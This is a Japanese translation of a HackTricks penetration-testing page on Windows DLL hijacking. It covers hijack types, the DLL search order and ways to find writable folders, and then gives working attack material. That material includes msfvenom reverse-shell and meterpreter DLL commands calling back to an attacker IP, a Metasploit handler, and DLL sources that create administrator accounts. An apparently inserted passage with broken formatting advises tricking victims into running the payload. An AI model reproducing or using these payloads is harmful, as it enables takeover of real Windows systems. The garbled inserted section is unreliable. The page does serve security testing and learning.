22 KiB
Dllハイジャッキング
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
もし、ハッキングのキャリアに興味があり、解読不可能なものを解読することに興味がある場合は、採用中です(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
定義
まず、定義を確認しましょう。DLLハイジャッキングは、広義には正規/信頼されたアプリケーションを誤って/偽のDLLを読み込ませることです。DLL Search Order Hijacking、DLL Load Order Hijacking、DLL Spoofing、DLL Injection、_DLL Side-Loading_などの用語は、しばしば間違って同じ意味で使用されます。
Dllハイジャッキングは、コードの実行、永続性の確保、特権のエスカレーションに使用することができます。この3つのうち、特権のエスカレーションは非常に少ない可能性です。ただし、これは特権のエスカレーションセクションの一部であるため、このオプションに焦点を当てます。また、目標に関係なく、dllハイジャッキングは同じ方法で実行されます。
タイプ
アプリケーションが必要なDLLをロードする方法に応じて、さまざまなアプローチがあります。成功は、アプリケーションがDLLをロードする方法によって異なります。可能なアプローチには次のものがあります。
- DLLの置き換え: 正規のDLLを悪意のあるDLLで置き換えます。これは、元のDLLのすべての機能が維持されるようにするために、DLL Proxying [2]と組み合わせることができます。
- DLL検索順序のハイジャック: パスのないアプリケーションによって指定されたDLLは、特定の順序で固定された場所で検索されます [3]。ハイジャックは、悪意のあるDLLを実際のDLLよりも先に検索される場所に配置することで行われます。これには、対象アプリケーションの作業ディレクトリも含まれる場合があります。
- Phantom DLLハイジャック: 正規のアプリケーションが読み込もうとする欠落/存在しないDLLの代わりに、悪意のあるDLLを配置します [4]。
- DLLリダイレクト: DLLの検索場所を変更します。たとえば、
%PATH%
環境変数を編集するか、.exe.manifest
/.exe.local
ファイルを編集して、悪意のあるDLLを含むフォルダを追加します [5, 6]。 - WinSxS DLLの置き換え: 対象のDLLの関連するWinSxSフォルダに正規のDLLを悪意のあるDLLで置き換えます。DLLサイドローディングとも呼ばれることがよくあります [7]。
- 相対パスDLLハイジャック: 正規のアプリケーションをユーザーが書き込み可能なフォルダにコピー(オプションで名前を変更)し、悪意のあるDLLと一緒に配置します。使用方法によっては、(署名された)バイナリプロキシ実行 [8]と類似点があります。これのバリエーションは、(ややオキシモロン的に呼ばれる)「bring your own LOLbin」 [9]で、正規のアプリケーションが悪意のあるDLLと一緒に提供されます(被害者のマシンの正規の場所からコピーされるのではなく)。
欠落しているDllの検索
システム内の欠落しているDllを見つける最も一般的な方法は、procmonをsysinternalsから実行し、次の2つのフィルタを設定することです。
そして、ファイルシステムのアクティビティを表示します。
一般的な欠落しているdllを探している場合は、これを数秒間実行しておきます。
特定の実行可能ファイル内の欠落しているdllを探している場合は、「プロセス名」が「<exec name>」を含むような別のフィルタを設定し、実行してイベントのキャプチャを停止します。
ミッシングDLLの悪用
特権をエスカレーションするために、私たちが最も良いチャンスを持っているのは、特権プロセスが検索される場所でロードしようとするdllを書くことができることです。したがって、オリジナルのdllが存在しないフォルダにdllを書き込むことができます(奇妙なケース)、またはdllが検索されるフォルダに書き込むことができます。
DLLの検索順序
一般的に、Windowsアプリケーションは、DLLを見つけるために事前に定義された検索パスを使用し、特定の順序でこれらのパスをチェックします。 DLLのハイジャックは、通常、悪意のあるDLLをこれらのフォルダの1つに配置し、そのDLLが正当なDLLよりも先に見つかるようにします。この問題は、アプリケーションが必要なDLLに絶対パスを指定することで緩和することができます。
以下は、32ビットシステムでのDLLの検索順序です。
- アプリケーションがロードされたディレクトリ。
- システムディレクトリ。このディレクトリのパスを取得するには、GetSystemDirectory関数を使用します。(C:\Windows\System32)
- 16ビットシステムディレクトリ。このディレクトリのパスを取得する関数はありませんが、検索されます。(C:\Windows\System)
- Windowsディレクトリ。このディレクトリのパスを取得するには、GetWindowsDirectory関数を使用します。(C:\Windows)
- 現在のディレクトリ。
- PATH環境変数にリストされているディレクトリ。ただし、これにはApp Pathsレジストリキーで指定されたアプリケーションごとのパスは含まれません。App Pathsキーは、DLLの検索パスの計算時には使用されません。
これがデフォルトの検索順序で、SafeDllSearchModeが有効になっています。無効にするには、HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchModeレジストリ値を作成し、0に設定します(デフォルトは有効です)。
LoadLibraryEx関数がLOAD_WITH_ALTERED_SEARCH_PATHで呼び出される場合、検索はLoadLibraryExがロードしている実行可能モジュールのディレクトリから開始されます。
最後に、dllは名前だけでなく絶対パスを指定してロードすることもできます。その場合、そのdllはそのパスだけで検索されます(dllに依存関係がある場合、名前でロードされたものとして検索されます)。
検索順序を変更する他の方法もありますが、ここでは説明しません。
Windowsドキュメントからのdll検索順序の例外
- 同じモジュール名のDLLがすでにメモリにロードされている場合、システムはロードされたDLLにリダイレクトとマニフェストをチェックし、DLLを検索しません。
- DLLが実行中のアプリケーションのWindowsバージョンの既知のDLLリストにある場合、システムは既知のDLLのコピー(および既知のDLLの依存DLL、ある場合)を使用し、DLLの検索を行いません。現在のシステムの既知のDLLのリストについては、次のレジストリキーを参照してください:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs。
- DLLに依存関係がある場合、システムは最初のDLLがフルパスを指定してロードされた場合でも、依存するDLLをモジュール名だけでロードされたものとして検索します。
特権のエスカレーション
前提条件:
- 特権のあるプロセスを見つける(水平/横方向の移動)ことができる別の特権で実行されるプロセスを見つける。
- dllが存在しないフォルダ(おそらく実行可能ファイルのディレクトリまたはシステムパス内のフォルダ)に書き込むための書き込み権限を持つ。
はい、前提条件は複雑で見つけるのが難しいです。デフォルトでは特権のある実行可能ファイルがdllがないというのは奇妙ですし、システムパスのフォルダに書き込み権限を持つことはさらに奇妙です(デフォルトではできません)。しかし、設定が誤っている環境では、これが可能です。もし要件を満たす幸運がある場合は、UACMEプロジェクトをチェックしてみてください。このプロジェクトの主な目標はUACのバイパスですが、おそらく書き込み権限を持つフォルダのパスを変更するだけで使用できるWindowsバージョンのDllハイジャックのPoCを見つけることができます。
なお、フォルダの権限を確認するには、次のコマンドを実行します:
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
そして、PATH内のすべてのフォルダのアクセス許可を確認してください:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
次のコマンドを使用して、実行可能ファイルのインポートとDLLのエクスポートを確認することもできます。
dumpbin /imports <executable>
dumpbin /exports <dll>
これにより、実行可能ファイルが依存しているDLLと、DLLが公開している関数が表示されます。
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
完全なガイドは、権限をエスカレートするためにDllハイジャッキングを悪用する方法について、システムパスフォルダに書き込み権限があるかどうかを確認するために、次を参照してください:
{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}
自動化ツール
Winpeas は、システムパス内の任意のフォルダに書き込み権限があるかどうかを確認します。
この脆弱性を発見するための他の興味深い自動化ツールは、PowerSploitの関数であり、Find-ProcessDLLHijack、Find-PathDLLHijack、_Write-HijackDll_です。
例
攻撃可能なシナリオを見つけた場合、それを成功裏に悪用するために最も重要なことの一つは、実行可能ファイルがインポートするすべての関数を少なくともエクスポートするdllを作成することです。ただし、Dllハイジャッキングは、中間完全性レベルから高いレベルにエスカレートするために(UACをバイパスするために)または高い完全性からSYSTEMにエスカレートするために便利です。 Windowsでdllハイジャッキングを実行するためのこのdllハイジャッキングの研究には、有効なdllを作成する方法の例があります:https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
さらに、次のセクションでは、テンプレートとして役立つ基本的なdllコードまたは必要ない関数がエクスポートされたdllを作成するために役立ついくつかのコードを見つけることができます。
Dllの作成とコンパイル
Dllプロキシ化
基本的に、Dllプロキシは、ロードされたときに悪意のあるコードを実行することができるDllであり、また、実際のライブラリにすべての呼び出しを中継して、期待どおりに公開および動作することができます。
ツール****DLLirant****または****Spartacus****を使用すると、実際のライブラリを指定して実行可能ファイルを選択し、プロキシ化されたdllを生成するか、Dllを指定してプロキシ化されたdllを生成することができます。
Meterpreter
rev shellを取得(x64):
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
メータープリターの取得(x86):
1. Metasploitフレームワークを使用して、ターゲットマシンにメータープリターをデプロイします。
2. Metasploitコンソールを開き、以下のコマンドを実行します。
```shell
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker IP>
set LPORT <attacker port>
exploit
<attacker IP>
と<attacker port>
を攻撃者のIPアドレスとポートに置き換えてください。
-
ターゲットマシンで、メータープリターを実行するために誘導する方法を選択します。以下の手法のいずれかを使用できます。
- ファイルの実行:攻撃者が作成した悪意のあるファイルをターゲットマシンで実行させます。
- ソーシャルエンジニアリング:攻撃者がターゲットユーザーを騙して、悪意のあるファイルを実行させます。
- セキュリティホールの利用:既知のセキュリティホールを悪用して、メータープリターを実行します。
-
メータープリターがターゲットマシンに接続されると、攻撃者はターゲットマシンをリモートで制御できるようになります。
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
ユーザーの作成(x86版、x64版は見当たりませんでした):
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
あなた自身の
注意してください。いくつかの場合、コンパイルしたDllは、被害者プロセスによってロードされる複数の関数をエクスポートする必要があります。これらの関数が存在しない場合、バイナリはロードできず、攻撃は失敗します。
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
もしあなたがハッキングのキャリアに興味があり、解読不能なものをハックしたいのであれば - 私たちは採用しています!(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- あなたはサイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するために、PRを hacktricks repo と hacktricks-cloud repo に提出してください。